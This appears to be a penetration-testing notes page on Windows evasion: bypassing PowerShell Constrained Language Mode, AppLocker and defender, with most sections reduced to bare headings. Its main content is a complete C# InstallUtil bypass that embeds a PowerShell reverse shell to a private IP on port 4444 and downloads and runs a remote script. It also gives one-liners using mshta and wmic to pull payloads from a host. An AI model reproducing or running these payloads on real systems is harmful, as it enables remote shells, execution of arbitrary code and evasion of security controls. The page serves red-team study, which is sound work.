Bypass-Evasion Techniques

CLM Bypass

Detecting,

PS C:\Users\morph3\Desktop> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

Idea is very simple, we can abuse InstallUtil.exe like below and bypass CLM 

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Hello from main");
        }
    }
    [System.ComponentModel.RunInstaller(true)]
    public class Sample : Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            string rev = @"$client = New-Object System.Net.Sockets.TCPClient('192.168.255.255',4444);
                                    $stream = $client.GetStream();
                                    [byte[]]$bytes = 0..65535|%{0};
                                    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
                                    {
	                                    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
	                                    try
	                                    {	
		                                    $sendback = (iex $data 2>&1 | Out-String );
		                                    $sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';
	                                    }
	                                    catch
	                                    {
		                                    $error[0].ToString() + $error[0].InvocationInfo.PositionMessage;
		                                    $sendback2  =  ""ERROR: "" + $error[0].ToString() + ""`n`n"" + ""PS "" + (pwd).Path + '> ';
	                                    }	
	                                    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
	                                    $stream.Write($sendbyte,0,$sendbyte.Length);
	                                    $stream.Flush();
                                    };
                                    $client.Close();";
        
            String cmd = "IEX(New-Object Net.WebClient).DownloadString('http://192.168.255.255/run.ps1') | powershell -noprofile";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();



        }

    }
}

Build this csharp file above and execute it like below,

Other alternatives,

CLM-Rout,

PowerShDll,

Downgrade (this probably never works I guess),

PSByPassCLM,

^ disable amsi bypass

Downgrading (this probably never works I guess),

Applocker Bypass

MSBuild

Generate a shellcode like below,

Replace the shellcode in the template and save it like something.csproj

Execute the payload

MSHTA

mshta http://192.168.255.255/test.hta

XSL

wmic process get brief /format:"http://192.168.255.255/a.xsl

DLL

test.cpp

x86_64-w64-mingw32-gcc -shared -o test.dll test.cpp

ADS - Alternate Data Stream

foo.js

Maldoc

Rot13 Encoding

It randomly select rot iteration

URI to RCE (Follina)

Offensive VBA

Bypasses defender,

ShellExecuteA

PreviousAD RelatedNextPost Exploitation

Last updated